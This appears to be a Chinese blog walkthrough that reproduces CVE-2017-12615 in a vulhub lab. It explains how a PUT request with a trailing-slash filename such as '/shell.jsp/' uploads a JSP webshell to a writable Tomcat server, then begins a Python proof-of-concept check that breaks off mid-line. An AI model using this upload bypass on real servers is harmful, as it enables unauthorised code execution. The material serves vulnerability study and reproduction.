CVE-2017-12615漏洞复现和pocsuite编写poc,exp

本文档详细介绍了CVE-2017-12615漏洞的复现过程,包括环境搭建、漏洞原理和利用方法。通过PUT方法上传恶意文件并利用Tomcat配置的可写权限,绕过文件尾部检查。同时,讲解了如何编写poc进行验证,并展示了EXP的编写思路,最后提到了漏洞的修复方案——升级Tomcat版本。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CVE-2017-12615漏洞复现

环境搭建地址:https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017-12615
Tomcat版本:8.5.19

漏洞原理:
tomcat的配置具有可写权限,因此可以利用put方法上传任意文件。但是tomcat对上传的文件尾部有检测,所以可以用/来绕过,如 /shell.jsp/
源码内容:

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

readonely设置为了false,说明可以写文件

  1. 提交数据包,burp查看内容
    在这里插入图片描述
  2. 在repter模块对提交的数据进行更改,上传菜刀的jsp一句话木马

    在这里插入图片描述

    3. 菜刀连接

    在这里插入图片描述
    在这里插入图片描述


    连接成功

参考链接:https://github.com/vulhub/vulhub/blob/master/tomcat/CVE-2017-12615/README.zh-cn.md

关于此漏洞poc的编写,–verify模式

  • 首先要掌握request模块put方法的使用
  • 在这里插入图片描述

验证模块的思路:

  1. 先用put方法提交一个.txt的文件
  2. 然后用get方法访问这个新的url,读取网页内容,如果状态码为200且写入的txt文本在网页内,说明存在漏洞
    下边是本地windows测试put方法的脚本
import requests


url = 'http://192.168.0.104:8080/'
data = "hello world"
new_url = url + "tcc.txt"
res = requests.put(url=new_url,data=data)


respone = requests.get(url=new_url)
print(respone.url)
print(respone.status_code)
if respone.status_code == 200 and "hello world" in respone.text:
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值